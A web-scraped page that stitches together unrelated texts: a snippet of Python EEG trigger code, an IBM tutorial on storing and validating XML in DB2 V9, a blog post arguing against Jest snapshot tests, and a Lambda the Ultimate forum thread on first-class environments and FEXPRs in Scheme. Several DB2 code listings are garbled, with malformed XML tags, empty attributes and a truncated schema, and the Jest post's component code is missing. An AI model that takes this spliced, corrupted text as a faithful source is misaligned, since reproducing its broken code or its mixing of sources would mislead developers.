import time from bsl import StreamRecorder from bsl.triggers import SoftwareTrigger from bsl.triggers import ParallelPortTrigger # Software trigger recorder = StreamRecorder() recorder.start() trigger = Softwaretrigger(recorder) for k in range(1, 5): trigger.signal(k) time.sleep(1) trigger.close() recorder.stop() # Hardware trigger through Arduino LPT converter recorder = StreamRecorder() recorder.start() trigger = ParallelPortTrigger(address='arduino') for k in range(1, 5): trigger.signal(k) time.sleep(1) trigger.close() recorder.stop()
Note that closing the trigger before stopping the recording may not be required for all kind of triggers.
The codes are released under GNU Lesser General Public License.
Project details
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages. | https://pypi.org/project/bsl/ | CC-MAIN-2022-33 | refinedweb | 982 | 57.16 |
You've probably heard the buzz about DB2's V9 -- IBM's first database management system to support both tabular (SQL-based) and hierarchical (XML-based) data structures. If you're curious about DB2's new native support for XML and want to get off to a fast start, you've come to the right place.
To help you quickly get up to speed on DB2's native XML features, this article walks through several common tasks, such as:
- Creating database objects for managing XML data, including a test database, sample tables, and views
- Populating the database with XML data using
INSERTand
IMPORTstatements
- Validating your XML data. Develop and register your XML schemas with DB2, and use the
XMLVALIDATEoption when importing data.
Future articles will cover other topics, such as querying, updating, and deleting DB2 XML data with SQL, querying DB2 XML data with XQuery, and developing Java applications and Web components that access DB2 XML data.
Creating database objects
To get started, create a single DB2 Unicode database. (With DB2 V9.1, a Unicode database is required for XML. DB2 V9.5 and later no longer require a Unicode database.) Later, you'll create objects within this database to manage both XML and other types of data.
Creating a test database
To create a new DB2 Unicode test database, open a DB2 command window and issue a statement specifying a Unicode codeset and a supported territory, as shown in Listing 1.
Listing 1. Creating a database for storing XML data
create database test using codeset UTF-8 territory us
Once you create a database, you don't need to issue any special commands or take any further action to enable DB2 to store XML data in its native hierarchical format. Your DB2 system is ready to go.
Creating sample tables
To store XML data, you create tables that contain one or more XML columns. These tables serve as logical containers for collections of documents. Behind the scenes, DB2 actually uses a different storage scheme for XML and non-XML data. However, using tables as a logical object for managing all forms of supported data simplifies administration and application development issues, particularly when different forms of data need to be integrated in a single query.
You can define DB2 tables to contain only XML columns, only columns of traditional SQL types, or a combination of both. This article models the latter. The example in Listing 2 connects to the test database and creates two tables. The first is an Items table that tracks information about items for sale and comments that customers have made about them. The second table tracks information about Clients, including contact data. Note that Comments and Contactinfo are based on the new DB2 XML data type, while all other columns in the tables are based on traditional SQL data types.
Listing 2. Creating tables for XML data
connect to test; create table items ( id int primary key not null, brandname varchar(30), itemname varchar(30), sku int, srp decimal(7,2), comments xml ); create table clients( id int primary key not null, name varchar(50), status varchar(10), contactinfo xml );
If you look closely at these table definition examples, you'll notice that neither specified the internal structure of the XML documents to be stored in the Comments or Contactinfo columns. This is an important DB2 feature. Users do not need to pre-define an XML data structure (or, more accurately, an XML schema) in order to store their data. Indeed, DB2 can store any well-formed XML document in a single column, which means that XML documents of different schemas (or documents not associated with any registered schema) can be stored within the same DB2 column. This article discusses this feature more when it discusses how to store data in DB2.
The option to store smaller XML documents inline was introduced in V9.5. If the XML document is small enough to fit into the page size, it can be stored with the other SQL elements. If it is not small enough to fit into a page, it will be stored separately. Along with the inline keyword, you supply the maximum size of the XML to be inlined. Base this value on the page size and on the size of the other relational columns. Listing 3 shows the code snippet to do this:
Listing 3. Creating tables for XML data with the inline option
connect to test; create table items ( id int primary key not null, brandname varchar(30), itemname varchar(30), sku int, srp decimal(7,2), comments xml inline length 10240 );
Creating views
Optionally, you can create views over tables containing XML data, just as you can create views over tables containing only traditional SQL data types. The example in Listing 4 creates a view of clients with a Gold status:
Listing 4. Creating a view that contains XML data
create view goldview as select id, name, contactinfo from clients where status='Gold';
A note about indexes
Finally, note that you can create specialized indexes on your XML columns to speed searches of your data. Because this is an introductory article and the sample data is small, this article will not be covering that topic. However, in production environments, defining appropriate indexes can be critical to achieving optimal performance. See Resources for help on how to learn more about DB2's new indexing technology.
Storing XML data
With your tables created, you can now populate them with data. Issue SQL
INSERT statements directly or
by invoking the DB2
IMPORT facility, which
issues
INSERT statements behind the scenes.
With DB2 V9.5, the
LOAD facility also supports
XML data.
Using INSERT statements
With
INSERT, you supply DB2 with the raw XML
data directly. That's perhaps easiest to do if you've written an
application and stored the XML data in a variable. But if you're just
getting started with DB2 and don't want to write an application, you can
issue your
INSERT statements interactively. (I
find it convenient to use the DB2 Command Editor, although you can also
use the command line processor, if you'd prefer.)
To use the DB2 Command Editor, launch the DB2 Control Center. From the Tools pull-down menu at the top, select Command Editor. A separate window appears, as shown in Figure 1.
Figure 1. DB2 Command Editor
Type the following statements into the upper pane:
Listing 5. Inserting XML data interactively
connect to test; insert into clients values (77, 'John Smith', 'Gold', '<addr>111 Main St., Dallas, TX, 00112</addr>')
Click the green arrow at left to execute the command.
In this case, the input document was quite simple. If the document was large or complex, it would be impractical to type the XML data into the INSERT statement as shown. In most cases, you'd write an application to insert the data using a host variable or a parameter marker. You'll find a brief Java coding example that accompanies this article. However, this introductory tutorial does not cover application development topics in detail. Instead, we'll discuss another option for populating DB2 XML columns with data—using the IMPORT facility.
Using DB2 IMPORT
If you already have your XML data in files, the DB2 IMPORT facility provides a simple way for you to populate your DB2 tables with this data. You don't need to write an application. You just need to create a delimited ASCII file containing the data you want to load into your table. For XML data stored in files, a parameter specifies the appropriate file names.
You can create the delimited ASCII file using the text editor of your
choice. (By convention, such files are usually of type .del.) Each line in
your file represents a row of data to be imported into your table. If your
line contains an XML Data Specifier (XDS),
IMPORT will read the data contained in the
referenced XML file and import that into DB2. For example, the first line
in Listing 6 contains information for Ella
Kimpton, including her ID, name, and customer status. Her contact
information is included in the Client3227.xml file.
Listing 6. clients.del file
3227,Ella Kimpton,Gold,<XDS FIL='Client3227.xml' /> 8877,Chris Bontempo,Gold,<XDS FIL='Client8877.xml' /> 9077,Lisa Hansen,Silver,*lt;XDS 9177,Rita Gomez,Standard,<XDS FIL='Client9177.xml' /> 5681,Paula Lipenski,Standard,<XDS FIL='Client5681.xml' /> 4309,Tina Wang,Standard,<XDS FIL='Client4309.xml' />
The content of the Client3227.xml file is shown in Listing 7. The file contains XML elements for Ella Kimpton's address, phone numbers, fax number, and email.
Listing 7. Client3227.xml file
<?xml version="1.0"?> <Client xmlns: <Address> <street>5401 Julio Ave</street> <city>San Jose</city> <state>CA</state> <zip>95116</zip> </Address> <phone> <work>4084630000</work> <home>4081111111</home> <cell>4082222222</cell> </phone> <fax>4087776666</fax> <email>love2shop@yahoo.com</email> </Client>
Perhaps you're curious about importing data if you don't have XML files for all the rows you wish to insert. That's easy to do. Omit the XDS information from your input file. For example, the items.del file in Listing 8 omits the name of an XML file for Item 3641 (the Dress to Impress suit). As a result, the XML column for this row will not contain any data.
items.del file
3926,NatureTrail,Walking boot, 38112233,64.26,<XDS FIL='Comment3926.xml' /> 4023,NatureTrail,Back pack,552238,34.99,<XDS FIL='Comment4023.xml' /> 3641,Dress to Impress,Syutm7811421,149.99, 4272,Classy,Cocktail dress,981140,156.99,<XDS FIL='Comment4272.xml' />
With your XML files and delimited ASCII files available, you're now ready
to use DB2
IMPORT. The statement in
Listing 9 imports the contents specified in
the clients.del file into the C:/XMLFILES directory into the clients
table.
Listing 9. Importing data into the clients table
import from clients.del of del xml from C:/XMLFILES insert into user1.clients;
The clients.del file shown in Listing 6 contains
data for six rows, including references to six XML files. Successfully
executing an
IMPORT command results in
output similar to Listing 10.
Listing 10. Sample output of DB2 IMPORT
import from clients.del of del xml from C:/XMLFiles insert into saracco.clients SQL3109N The utility is beginning to load data from file "clients.del". SQL3110N The utility has completed processing. "6" rows were read from the input file. SQL3221W ...Begin COMMIT WORK. Input Record Count = "6". SQL3222W ...COMMIT of any database changes was successful. SQL3149N "6" rows were processed from the input file. "6" rows were successfully inserted into the table. "0" rows were rejected. Number of rows read = 6 Number of rows skipped = 0 Number of rows inserted = 6 Number of rows updated = 0 Number of rows rejected = 0 Number of rows committed = 6
Independent software vendors offer tools to help you convert Microsoft® Word, Acrobat PDF, and other document formats into XML for import into DB2. See Resources for more information about ISVs.
Validating your XML data
The
INSERT and
IMPORT examples just discussed can write any
well-formed XML data to your tables. They don't validate that data. In
other words, they don't verify that the data conforms to a particular XML schema
and therefore adheres to a certain structure. It is possible to direct DB2
to do that, however. Here is one approach:
Step 1: Creating an XML schema
To validate XML data, you need to define an XML schema that specifies acceptable XML elements, their order and data types, and so on. XML schemas are a W3C industry standard and are written in XML. While it is beyond the scope of this article to explain the features of XML schemas, various tutorials are available (see Resources).
There are many ways to develop XML schemas, ranging from using your favorite text editor to manually create your schema to using tools to graphically design or generate a schema. Independent software vendors provide such XML tools, and IBM also offers XML schema generation support through Java™-integrated development environments.
For example, with IBM Rational® Application Developer or IBM Rational Software Architect, you can import an xml file into a Web project. The xml file used in this example was taken from the customer table in the sample database of DB2. Right-click the project, and select Generate > XML Schema. This generates a valid XML schema for your particular input file, as shown in Figure 2 (larger image). You can then modify the file (if necessary) and register it with DB2.
Figure 2. Using IBM Rational Software Architect to generate an XML schema from an XML file
Assume you need to make your XML schema rather flexible so that you can collect different types of contact information for different customers. For example, some customers might provide you with multiple phone numbers or email addresses, while others might not. The XML schema shown in Listing 11, which was derived from the schema that IBM Rational Software Architect generated, allows for this flexibility. It includes additional specifications about the minimum and maximum number of occurrences (minOccurs and maxOccurs) allowed for a given element. In this case, the customer isn't required to give you any of the contact information you'd like to collect. However, if a customer chooses to give you email information, this schema enables conforming documents to contain up to five email addresses (that is, five email element values).
Listing 11. Sample XML schema for client contact information
<?xml version="1.0" encoding="UTF-8"?> <xsd:schema xmins: :element <xsd:complexType> <xsd:sequence> <xsd:element <xsd:element <xsd:element </xsd:sequence> </xsd:complexType> </xsd:element> . . . </xsd:schema>
XML schemas also contain type information. The schema shown in Listing 11 specifies
that all base elements are treated as strings. However, most production XML
schemas make use of other data types as well, such as integer, decimal,
date, and so on. If you validate XML documents against a given schema as
part of your
INSERT or
IMPORT operation, DB2 automatically adds
type annotations to your XML documents.
Step 2: Registering the XML schema
Once you have created an appropriate XML schema, you need to register the schema with DB2. IBM provides multiple ways to do this. You can launch graphical wizards from the DB2 Control Center to guide you through the process, invoke system-supplied stored procedures, or issue DB2 commands directly. For this example, use the latter method, because it might help you more readily understand what DB2 is doing behind the scenes on your behalf.
If your schema is very large, you may need to increase your application heap size before attempting to register it. For example, issue the following statements:
Listing 12. Increasing the application heap size
connect to test; update db cfg using applheapsz 10000;
Next, register your XML schema. If your XML schema does not reference other XML schemas, you can register and complete the process with a single command. Otherwise, you need to issue individual commands to register your primary XML schema, add the other required schemas, and complete the registration process. When a schema document becomes very large, it's common to divide its content into multiple files to improve maintenance, readability, and reuse. This is akin to breaking up a complex application or component into multiple modules. For details on this topic, refer to the W3C XML Schema primer.
This article uses a simple, independent XML schema. You can register it with DB2 using the following command:
Listing 13. Registering an XML schema
register xmlschema '' from 'C:/XMLFiles/ClientInfo.xsd' as user1.mysample complete;
In this example, ClientInfo.xsd is the name of the XML schema file. It is
located in the
C:/XMLFiles directory. This XML schema will be registered
in DB2's internal repository under the SQL schema
user1 and the XML
schema
mysample. The parameter is just a placeholder
in this example. It specifies the uniform resource indicator (URI)
referenced by XML instance documents. Many XML documents use namespaces,
which are specified using a URI. Finally, the
complete clause instructs DB2 to complete the XML schema registration process so that the
schema can be used to validate XML data.
Note that the schema registration process does not involve specifying table columns to which the schema will be applied. In other words, schemas are not the equivalent of SQL column constraints. A given schema can validate data for a variety of XML columns in different tables. However, validation is not automatic. DB2 allows any well-formed XML document to be stored in an XML column. If you want to validate your data against a registered schema prior to storage, you need to instruct DB2 to do so.
Step 3: Importing XML data with validation
With an XML schema created and completely registered in DB2, you're now ready to have DB2 validate XML data when inserting or importing it into a table. Revisit the earlier IMPORT scenario with schema validation in mind.
If you've already populated your Clients table, you might find it convenient to delete its contents or drop and recreate the table. This is only necessary if you plan to add the same data to the table as you did previously. Recall that clients were defined with a primary key on the client ID column, so attempting to import duplicate rows will fail.
To validate the XML data while importing it into the Clients table, use
the
XMLVALIDATE clause of DB2
IMPORT. The statement in
Listing 14 instructs DB2 to use your previously
registered XML schema (user1.mysample) as the default XDS (XML Data
Specifier) for validating the XML files specified in the clients.del file
before inserting them into the Clients table.
Listing 14. Importing XML data with validation
import from clients.del of del xml from C:/XMLFILES xmlvalidate using xds default user1.mysample insert into user1.clients;
If DB2 determines that an XML document does not conform to the specified
schema, the entire row associated with that document is rejected.
Listing15 illustrates sample output from an
IMPORT operation in which one row of six was
rejected because its XML document did not conform to the specified schema.
Listing 15. Importing XML data with validation
SQL3149N "6 rows were processed from the input file. "5" rows were successfully inserted into the table. "1" rows were rejected. Number of rows read = 6 Number of rows skipped = 0 Number of rows inserted = 5 Number of rows updated = 0 Number of rows rejected = 1 Number or rows committed = 6
Note that
XMLVALIDATE can also be
used with
INSERT statements to instruct DB2 to
validate XML data before inserting it. The syntax is similar to the
IMPORT example just shown in that you specify
a registered (and completed) XML schema when invoking the
XMLVALIDATE clause. (See
"A simple Java example" for more information.)
Summary
DB2 V9 provides significant new capabilities for supporting XML, including a new XML data type and underlying engine-level components that automatically store and process XML data in an efficient manner. To help you get up to speed quickly on these features, this article described how to create a test database and sample tables for storing XML documents. It also reviewed how you can populate your database with XML data. Finally, it summarized DB2's ability to validate XML data against user-supplied XML schemas and provided examples to show you how to get started.
Now that you've learned how to store XML data using DB2's native XML capabilities, you're ready to query that data. You'll see how to do that in subsequent articles, which will introduce you to DB2's XQuery support and to its XML extensions to SQL (sometimes called SQL/XML).
Acknowledgments
Thanks to Rav Ahuja, Matthias Nicola, and Gary Robinson for their comments on this paper.
Download
Resources
Learn
- Explore all the pieces of thisseries.
- IBM DB2 e-kit for Database Professionals: Grow your skills, and quickly and easily become certified for DB2 for Linux, UNIX, and Windows.
- XML Database - DB2 pureXML Learn more about DB2's XML support.
- "What's new in DB2 Viper: XML to the Core" (developerWorks, February 2006): Get an overview of the new XML technologies.
- Exegenix offers tools that can help you convert Word, PDF, and other document formats into XML for import into DB2.
- XML schemas:
- Various tutorials are available on the Web that explain the features of XML schemas.
- W3C XML Schema primer provides an easily readable description of the XML Schema facilities and is oriented towards quickly understanding how to create schemas using the XML Schema language.
- "Firing up the Hybrid Engine" (DB2 Magazine, Quarter 3, 2005): Read more about IBM's hybrid database management system.
- System RX: One Part Relational, One Part XML (SIGMOD conference, 2005): Learn about the architecture and design aspects of building a hybrid relational and XML DBMS.
- "Native XML Support in DB2 Universal Database" (VLDB conference, 2005): Read more about DB2 XML support.
- "Managing XML for Maximum Return" (IBM, November 2005): This white paper explores the business benefits of DB2's XML support.
- "Use DB2 native XML with PHP" (developerWorks, October 2005): Compare and contrast DB2's new XML support with traditional relational database technology.
- Stay current with developerWorks wiki on periodic pureXML topics given by the experts .
- Learn about DB2 Express-C, the no-charge version of DB2 Express Edition for the. | http://www.ibm.com/developerworks/data/library/techarticle/dm-0603saracco/?S_TACT=105AGY75 | CC-MAIN-2015-06 | refinedweb | 3,578 | 54.93 |
I’m developing a frontend application for quite a while now, and my team and I have a strict standard regarding unit testing our features - every new feature must be thoroughly tested with unit tests (Jest + Enzyme for our client, which I’ll be talking about in this article).
It took us a while to find the right path for us, all while learning how to use the tools we’ve chosen to the full extent, but through trial and error we’ve found a paradigm that works for us.
One of the first things you learn when reading
Jest’s documentation is how to write Snapshot Tests. They are meant to be the ultimate testing utility, and they interact beautifully with
React components. You can “render” a component in your test under some condition, save it to a snapshot, and if in any future test the output of the component changes the test will fail and tell you that you’ve changed something you probably shouldn’t have, and if you did it on purpose, you simply update the snapshot to reflect the new state of the component. For the purpose of this article I will explain the snapshot process briefly, but this is not an educational article - I strongly recommend the documentation of
Jest for that.
In practice, it goes something like this - let’s create a super simple component that look something like this:
A simple test for it might be something along the lines of:
import { mount, shallow } from "enzyme"; import { App } from "./app"; import React from "react"; describe("<App />", () => { it("matches snapshot with color blue", () => { const wrapper = shallow(<App color="blue" />); expect(wrapper).toMatchSnapshot(); }); });
When we first run the test, it passes and creates a new snapshot. The snapshot looks like that:
// Jest Snapshot v1, exports[`<App /> matches snapshot with color blue 1`] = ` <div className="outer" > <div style={ Object { "backgroundColor": "blue", "borderRadius": "50%", "height": "10px", "margin": "auto", "marginTop": "auto", "width": "10px", } } /> </div> `;
Not too complicated as it is a super simple component I wrote in 2 minutes.
Let’s say time passes and the component changes. It now looks like this:
My component obviously changed (I’m the one who changed it). Running the test now would result in a failed test, as the snapshots don’t match, so I’m forced to update the snapshot to reflect the new state - basically forcing my test to pass.
Now that we have a basic understanding of snapshot testing I can make some bold claims as to why I have stopped using them entirely, and why I think you should too.
- It’s really hard to be specific as to what your test is actually testing. You can get away with that writing very small tests and have very descriptive names, but at that time I feel like a designated test for a specific use-case would be clearer, easier to maintain over changing demands and less fragile to irrelevant changes in your component.
- Constant updating of snapshots can create an “if-it-doesn’t-pass-just-update-it” attitude, especially when there are dozens of snapshots failing at once, and you/your teammate might be too lazy to actually task a closer look at each and every one of the failing tests, so updating them all becomes nearly automatic.
- They provide no helpful information as to how the code is used, and how it should behave. They merely show what is rendered in a given situation, without any concrete assertions to help future you/new developers understand why or how the magic of your components happens.
This is my personal opinion on the subject, I’d love to hear different opinions about snapshot testing (not only in jest). Do you still write them? Have you found some enlightenment that I haven’t? Please share! | https://dorshinar.me/why-i-stopped-writing-jest-snapshot-tests | CC-MAIN-2020-50 | refinedweb | 638 | 52.02 |
Feedback
Getting Started
Discussions
Site operation discussions
Recent Posts
(new topic)
Departments
Courses
Research Papers
Design Docs
Quotations
Genealogical Diagrams
Archives
Thomas Lord's recent insistence that a simpler Scheme is possible (including that advanced features such as first-class macros and environments should be provided, with the caveat that their use may be less performant than non first-class devices) has got me to investigate first-class environments.
Way back there's been a bit of discussion of this topic here.
The usual arguments against first-class environments are:
On the pro side, we have:
letrec
So my question is: given that JITs are commonplace these days, should first-class environments be reconsidered for inclusion into programming languages?
The programmer benefits as much as the compiler from the ability to reason statically about code. With disciplined use of first class namespaces I'm sure they could be effective. I expect disciplined use would in practice mean "imitating existing constructs" so then I wonder why you'd bother.
There is another point: the Scheme standard is not really the place for experimentation. If you want to see something in the standard get it into an implementation first, generate some significant experience with the feature, and then perhaps the committee will listen to you.
I expect disciplined use would in practice mean "imitating existing constructs" so then I wonder why you'd bother.
I agree. I think that the extra expressivity of first-class environments is probably only used in exceptional circumstances (say, writing a module system).
Why I bother is that I'd like to have really clear and simple semantics for my languages. R6RS doesn't even say anything about the interactive top-level, IIRC, and other languages like O'Caml have slightly different semantics for interaction and static compilation. First-class environments seem to make it possible to give a nice and simple description of interactivity, and that's one reason why I find them interesting.
If you want to see something in the standard get it into an implementation first, generate some significant experience with the feature, and then perhaps the committee will listen to you.
I'm not in any position to, nor am I trying to, influence the committee. I'm doing this for the fun of it.
I wish I could get the members of the committee to thoroughly respect that principle, and not invent things today to be standardized tomorrow, particularly in WG1.
It might be helpful to describe what I had intended to propose in
Scheme WG1 (before I was expelled from the group). As I go
along I'll offer some rationale for that. And I'll respond (out of
thread) to the comments that have appeared here so far.
My goals were threefold:
My strategy was to be as follows:
Well, that was the plan, anyway.
The WG0 Scheme would contain the basic types of R5RS (characters,
numbers, cons pairs, vectors, etc.) It would contain only the
special forms LAMBDA, SET!, FEXPR, and THE-ENVIRONMENT. It would
contain the procedure EVAL. It would contain a simple mechanism
for creating new encapsulated types (much like the one observed in
the Kernel programming language specification)..
(the-environment)
EVAL would of course accept a form to evaluate and a reified
environment, and "do the obvious thing", although it would have
some provisions to afford "extensible" environments (e.g.,
permit at least the late introduction of formerly unbound
variables).
A FEXPR is like a LAMBDA except that (a) when it occurs
in the first position of an application, the operands are
not evaluated and an additional parameter is passed
which is the caller's value for (the-environment).
APPLY of a FEXPR would pass an extension
of (the-environment) in which a QUOTE form
is certainly bound, and pass the arguments as QUOTED forms.
(e.g., (apply and (list #t x)) with X bound
to #f would be equivalent to
(and '#t #f).
(apply and (list #t x))
#f
(and '#t #f)
In WG0, the default "top-level" is immutable and contains
only bindings for the WG0 primitives. The basic "unit"
of code is a simple stream of S-exp forms. A dialect,
such as R5RS, can be expressed as a WG0 program which,
when run, ignores WG0 "units" and takes over reading,
processing, and evaluating forms directly.
It's quite simple, really, and I make no claim to it
being original. Rather, it seemed to me like a lot of
"well known stuff" about Scheme that both deserved to be
written down concisely in one place and that, by writing it down
that way, could simplify the Report, put the formal semantics
on a firmer ground, provide a convincing REPL semantics,
and add the missing feature for creating new encapsulated
types.
Above, Noel and Msimoni mention the importance to programmers
of being able to statically reason about programs. Features such
as EVAL, and FEXPRS, and THE-ENVIRONMENT clearly limit that
ability. On the other hand, they don't eliminate the ability
to statically reason about programs. In particular, if
you have a WG0 implementation of R5RS you'll find that in
strictly R5RS programs, all calls to FEXPRs are statically
detectable and easily eliminated - more or less using techniques
that date all the way back to RABBIT, albeit with a few simple
additional rules that express some EVAL identities. For example,
(eval form (the-environment)) is, if EVAL
and THE-ENVIRONMENT have their standard bindings in the
lexical context, equivalent to form. All of
the ways in which are used to statically reasoning about,
say, an R5RS program -- those are all still valid for
a WG0 program written in R5RS dialect.
(eval form (the-environment))
form
On the other hand, for prorgrams that use features
like EVAL etc. in more complex ways: WG0 at least still
gives you a solid operational semantics. You can
reason about what the program will do even if it is
harder to reason about what "value" the program will
ultimately produce. You still get plenty of opportunities
to assert equations that equivocate alternative
expressions of a piece of code.
johncowan laments "I wish I could get the members of the committee
to thoroughly respect that principle, and not invent things
today to be standardized tomorrow, particularly in WG1."
Given that he himself seems to have proposed new inventions for WG1
Scheme, such as in his Unicode proposal, I'm afraid that
whatever "principle" is at work here is lost on me. It
was, perhaps by coincidence, just a few hours after I remarked
on that (and then was soundly flamed by John) that my "expulsion"
from WG1 took effect. I perhaps unfairly infer a "principle"
at work there but I have enough hope in humanity and John
to believe it was quite the principle intended to be
put into operation..
By changing binding contours, do you mean e.g. enriching an environment with new bindings?
As to LAMBDA, can't it be defined in terms of FEXPR and EVAL?
About binding contours: yes. I make a further distinction: You can permit the dynamic extension of an environment only in ways that capture no previously bound identifier, or you can permit the dynamic extension of an environment in ways that can alter (at run time) which binding an identifier refers to. I propose only the former and care to say as little as possible about the hairy topic of the latter (because I can't begin to fathom how to deal with it).
About LAMBDA in terms of FEXPR and EVAL: yes. C.f. the Kernel programming language, roughly speaking. As a matter of exposition style or choice of foundation: I don't mind taking LAMBDA as primitive but there are, indeed, some kinds of simplification, from some perspectives, that come from making LAMBDA derived in terms of FEXPR and EVAL. Roughly, a LAMBDA is a FEXPR that always evaluates all of its arguments before doing anything else. Depending on your goals that can be useful reduction or just a tedious one.
Right after (apply and (list #t x)).
It only affects the rest of the paragraph in Firefox. In Chrome, it's affecting the rest of the thread.
Thanks, fixed. (Although untested since I don't run Chrome.)
Thank you. [I would not be offended if you deleted this subthread, since it is no longer relevant..]
What I'm suggesting, for those not following the scheme-reports-wg1 list, is allowing implementations to break the R5RS rule that says string<? and friends are lexicographical extensions of char<? and friends. Hardly a radical revision of the basic Scheme infrastructure.
string<?
char<?
If Mr. Lord thinks I flamed him, he should perhaps re-read some Erik Naggum posts.
... are to modules and encapsulation almost exactly what reified continuations are to control flow.
They are a simple means of implementing or reasoning about the semantics of whatever module system you like, or a way to facilitate experimentation about module systems, or a way to emulate the semantics of any module system found in a language you're writing a system to interpret, etc. They make it unnecessary for a "minimal" standard to specify a module system at all.
But the current scheme process isn't going for "minimal." Its goals are to "facilitate the sharing of code" and "produce a standard such that any conforming program is also a conforming program of WG2 scheme" (Per the WG1 working group charter). These are not evil purposes, but they simply do not admit simplifying the standard by removing restrictions, nor especially by introducing more general and simpler constructs.
Sharing of code means putting together modules that were written by different people, probably for different projects, into the same program. That goal does not allow the existence of a simple minimal tool for implementation of and experimentation with module systems; it requires exactly (and ONLY) the same module system in use across all code.
Producing a language subset of WG2 scheme (such that any WG1 program is also a valid WG2 program and has the same semantics under WG2 that it has under WG1) does not allow the simplification or removal of restrictions from any construct that is complicated or restricted by WG2, nor the introduction of any more general feature not found in WG2. Because environments are not first-class in WG2, first-class environments cannot be allowed in WG1.
Scheme as a notation for computer science concepts and algorithms is no longer the principle at work in the scheme standardization process, and extensions to the domain of what scheme can be used to reason about (such as first-class environments or FEXPRs would provide) are no longer considered desirable by that process.
You're advocating two ideas in the above, both of them semantically radical. Both could simplify the language by removing restrictions, but both would result in a lisp which simply isn't Scheme.
In the first place, first class environments are THE solution to modules and THE mechanism by which a lisp that enables real discoveries about module systems can be made. Further, they are a compatible extension to current scheme semantics. But as a requirement, they fly in the face of the goals of the current standardization efforts. They've been flatly rejected in the past by people who want to build "Efficiently, statically optimizable" implementations of scheme, and who are still there. More than that, the currently favored module system is part of R6RS (virtually the ONLY part) that was adopted wholesale by people who otherwise rejected R6RS totally.
The community of scheme programmers was *REALLY* hurting for a module system, the one in R6RS appears good enough, and at this point I think most of the people involved really want to put the pain of arguing about module systems out of their minds. First Class Environments are a stillborn idea in that reality. A language in which environments are first class is not a language in which modules can be meaningfully standardized in a way compatible with the restricted compromise of module definitions that people are now desperately clinging to.
To use a metaphor, a drowning man doesn't want a build-your-own-boat kit, even though he might learn a lot more about boats and naval architecture from getting one; he wants a boat. And a formerly-drowning man who now has a boat, has no room aboard for the kit and will rightly reject it for fear that its weight will upset his boat.
In the second place, FEXPR semantics violate the very fundamental principle, adhered to in scheme since its very beginning, that the called procedure and the argument expressions are evaluated in the same environment, by the same rules, before the procedure is called. While they could completely eliminate macrology and the runtime / loadtime phase separation and all the semantic complications that those things bring about, they break one of the very first definitional principles of Scheme and they break it good and hard.
The scheme community is now very invested in its macrology; they got there by long hard work and emotional processing and yelling and screaming and weeping and gnashing of teeth, and they still remember the pain of not having a standard macrology. You will not pry it away except from their cold dead fingers, and you will not redefine it without defeating them in mortal combat.
Unicode is, make no mistake, useful. Having everybody doing it the same way is useful. But, ultimately, there isn't that much to it semantically speaking, and there is nothing established in the scheme community which its fundamental semantics contradict. No fundamental computer science insights can be had from implementing it or reasoning about it, and it gives us no new tools for thinking about hard problems, but it doesn't particularly upset the very fundamental notions people have about what scheme is and what's good for it.
It's solved and safe and (although I myself have ranted and argued about the hamfisted way it's implemented) mostly uncontroversial; it can be standardized and will make a million (mostly-trivial) things work more smoothly together. You have to understand the difference. The "innovation" in Unicode libraries is like deciding what color to paint the living room, and "innovations" with FEXPRs and First-Class Environments are like deciding where to start building and whether you want to build a house or a railroad depot.
So, I advise you to come to the same conclusion as me; the language you want to work on is a lisp, but it is not any kind of scheme. They were right to expel you; it helps them to achieve the goals stated in the working group charter. Also, they did you a favor by expelling you; you are now free to work on a thing both more important and closer to your heart.
Ray
Ray,
You and I have so often agreed on so many things that I'm shocked, shocked I say, to have to pick some nits with you here. Although there is also much to agree with.
I agree most especially with this: "Also, they did you a favor by expelling you; you are now free to work on a thing both more important and closer to your heart." That would be the theory. A nice thing is that, so far, that theory is born out in practice. For example, I am free to not give a $#@! about proving what I know - that you can write WG0 atop a good R5-ish compiler using syntax-case: right there are several thousand lines of very tedious, boring code for which I went from having a process-imposed deadline to a "deadline" of "Meh, if it later seems useful maybe I should do it." Similarly, I just started over on my WG0 implementation from scratch because I can change from "working, even if ugly, within a couple of months" to "with all deliberate speed while producing a lovely implementation" (for my own aesthetic sense of "lovely"). Mind you, "they" did me no favor in the way in which they expelled me (e.g., at the very, very least, might "they" not have offered the courtesy of privately asking for my resignation?). Instead, I was "informed" of my expulsion and even that my expulsion was being considered by the esteemed Steering Committee by a generic bounce message when I sent mail to the WG1 list after said expulsion took place. This (LtU) is not the place to further rehearse my long list of grievances about the administration of WG1 from start to finish but you get some sense of them, there.
I disagree with you about the nature of the WG1 charter. You are focusing on a few clauses and ignoring others. The WG0 approach I've described would have well satisfied the charter. Much of the ongoing discussion by the non-expelled members really does not. I guess that you are right that the charter means whatever WG1 takes it to mean -- but I think my reading of it was less "stretched" in terms of the plain language of the thing. That's life, I guess.
I disagree with you that my approach is particularly radical. In particular, it has (including what I'm calling FEXPRs) some strong resemblance to the Revised Report (R1RS). It also can be expressed as trivial extensions to, for example, the meta-circular implementation of SICP. It is more or less directly present in SCM and until quite recently in SCM's bastard child Guile. I agree with you, though, that (by social convention) - WG0 is no longer Scheme. It needs some distinct name. My WG0 interpreter is using the name "simp" for itself. It's tempting to call the language "SimpScheme" because that has some nice resonances but I fear that one of those same nice resonances might cause undue confusion with an otherwise respectable textbook.
I disagree strongly that Mr. Cowan's Unicode proposal is a bike-shed issue (what arbitrary color to paint something). In particular, he wants to break string ordering predicates in an upward incompatible way relative to R5 - unprecedented and, in my view, unwelcome. He could fix my complaint just by choosing new names for his proposed predicates.
I agree with you that I'm proposing a lisp. In a better world, I would still say I'm proposing a lisp deserving of being the next Scheme. I agree with you about the emotional investment of the (so-called) "Scheme community" in such things as avoiding FEXPRs in modern dialects in favor of macros but disagree if you mean to indicate that they have a coherent position on that topic.
Scheme is dead. Long live Scheme.
Tom, can we get more details on what a first-class environment proposal would entail? It seems like a lot of restrictions would be necessary to avoid the possibility of violating basic invariants we've come to expect from our code. For instance, when I call a function (or fexpr, or whatever is callable), I don't expect to end up with a bunch of new bindings in my current environment (though there are cases, notably at the top level, where this could be useful). I certainly wouldn't expect that some bindings I already have would be removed. I might be OK with having bindings mutated, though this is dynamic scoping, which is not something I normally want. The point is, there seems to be a big design space, and I'd like to see a detailed proposal about what is, and what isn't, going to be in it (you've provided some details, but not enough for me to feel like I really understand what it is you're after). The analogy with continuations is a good one; having first-class continuations doesn't mean that you can go up the call stack and arbitrarily delete or rearrange the order of frames -- it's only manageable because you can capture the continuation as an essentially immutable object.
What would also be interesting is a more detailed description of the kinds of things one might be able to do with FCE that are hard/impossible to do without them (and in more detail than just e.g. "module systems").
